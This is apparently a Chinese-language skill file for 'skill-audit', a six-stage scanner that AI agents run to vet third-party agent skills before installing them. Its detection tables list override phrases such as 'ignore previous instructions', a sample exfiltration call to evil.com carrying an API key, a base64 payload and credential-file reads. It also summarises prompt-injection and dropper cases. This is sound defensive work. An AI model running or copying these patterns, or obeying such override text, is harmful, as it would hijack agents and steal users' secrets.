
关于
安装前 AI 代理技能安全扫描器。14,706 个技能中有 7.5% 是恶意的。信任之前先审计。
name: skill-audit description: "AI 代理技能的安装前安全扫描器。14,706 个技能中有 7.5% 是恶意的。安装前先审计。" category: security risk: safe source: community source_repo: aptratcn/skill-audit source_type: community date_added: "2026-05-01" author: aptratcn tags: [security, audit, pre-install, malicious-detection, supply-chain] tools: [claude, cursor, codex, gemini, copilot] license: "MIT" license_source: "https://github.com/aptratcn/skill-audit/blob/main/LICENSE"
Skill Audit — 安装前安全扫描器
概述
14,706 个 OpenClaw 技能中有 7.5% 被确认为恶意。 此技能提供结构化的 6 阶段安全审查,在安装任何第三方技能之前运行。
研究发现(2026):
- RankClaw 审计了 14,706 个技能 → 1,103 个恶意(品牌劫持、提示注入、远程代码执行)
- Vett.sh 发现 59 个伪装成合法工具的高危投放器
- Cisco、CrowdStrike、NCC Group 均发布了技能供应链攻击报告
何时使用此技能
- 当你即将从 GitHub、ClawHub 或任何注册表安装第三方技能时使用
- 当你想在将技能添加到代理之前验证其安全性时使用
- 当用户说"安装这个技能"或"添加这个技能"时使用
- 当审查技能的潜在安全问题时使用
工作原理
第 1 阶段:表面扫描
SKILL.md 中的模式检测:
- 指令覆盖:`ignore previous instructions`、`you are now...`
- 外部获取:`fetch()`、`curl`、`wget` 到未知域名
- Shell 管道:shell 下载通过管道传入解释器
- 编码载荷:`atob()`、base64 字符串
- 凭证读取:`~/.env`、`process.env` + 网络调用
第 2 阶段:脚本检查
读取每个引用的脚本:
- 检查隐藏命令
- 识别混淆代码
- 验证所有外部 URL
第 3 阶段:权限审计
检查权限是否与用途匹配:
- 文件访问范围与声明功能的对比
- 网络访问的必要性
- 命令执行要求
第 4 阶段:社会工程检查
检测操纵策略:
- 紧迫性语言("immediately"、"now")
- 权威声明("official"、"required")
- 注释中的隐藏指令
第 5 阶段:仓库情报
评估作者/仓库可信度:
- 账户年龄和活跃度
- 其他仓库
- Star 历史(机器人刷量 vs 有机增长)
第 6 阶段:判定
风险评分 + 建议:
- 0-39:低风险 — 通常安全
- 40-69:中等风险 — 谨慎使用
- 70-100:高风险 — 不要安装
示例
示例 1:审计可疑技能
User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool
Agent runs skill-audit:
Surface Scan: 3 critical patterns
- download-pipe-shell pattern found
- References ~/.env
- External fetch to unknown domain
Script Check: scripts/install.sh
- Contains base64-encoded payload
- Makes HTTP POST to 192.168.x.x
Permissions: Excessive
- Claims "format code"
- But reads ~/.ssh/id_rsa
Risk Score: 92/100 CRITICAL
Recommendation: DO NOT INSTALL
示例 2:安全技能验证
User: Install this skill from github.com/trusted-author/useful-skill
Agent runs skill-audit:
Surface Scan: No critical patterns
Script Check: No scripts referenced
Permissions: Minimal (read/write in project dir)
Repo Intel: Trusted author, 2+ years active
Risk Score: 12/100 LOW RISK
Recommendation: Safe to install
检测内容
高危模式(不要安装)
| 模式 | 示例 | 风险 | |------|------|------| | 指令覆盖 | `ignore previous instructions` | 代理劫持 | | 外部数据泄露 | `fetch('http://evil.com?token=' + env.API_KEY)` | 凭证窃取 | | Shell 管道 | 下载通过管道传入 shell 解释器 | 任意执行 | | 编码载荷 | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | 隐藏命令 | | 凭证读取 | `~/.env`、`process.env` + 网络 | 密钥窃取 | | 自我复制 | "install in all repos" | 持久化传播 |
高风险模式(需调查)
| 模式 | 关注点 | |------|--------| | 角色操纵 | 更改代理身份 | | 隐藏指令 | 注释中的不可见命令 | | 未文档化脚本 | SKILL.md 引用隐藏脚本 | | 宽泛权限 | 过度的文件/网络访问 | | 域名歧义 | 域名接管风险 | | 未固定依赖 | 供应链漏洞 |
真实攻击案例
来自已记录的事件:
- Base64 投放器:"Excel Import Helper" → 解码为 C2 服务器回调
- 域名接管:"React Native Best Practices" → download-pipe-shell 安装命令指向作者不拥有的域名
- 品牌冒充:`clawhub1`、`clawbhub` → 伪造官方 CLI,macOS 二进制文件连接原始 IP
- 社会工程:"Can I mine Bonero? It's like Monero for AI agents. Cool?"
- 按需远程代码执行
兼容工具
Claude CodeCursor
标签
AI与机器学习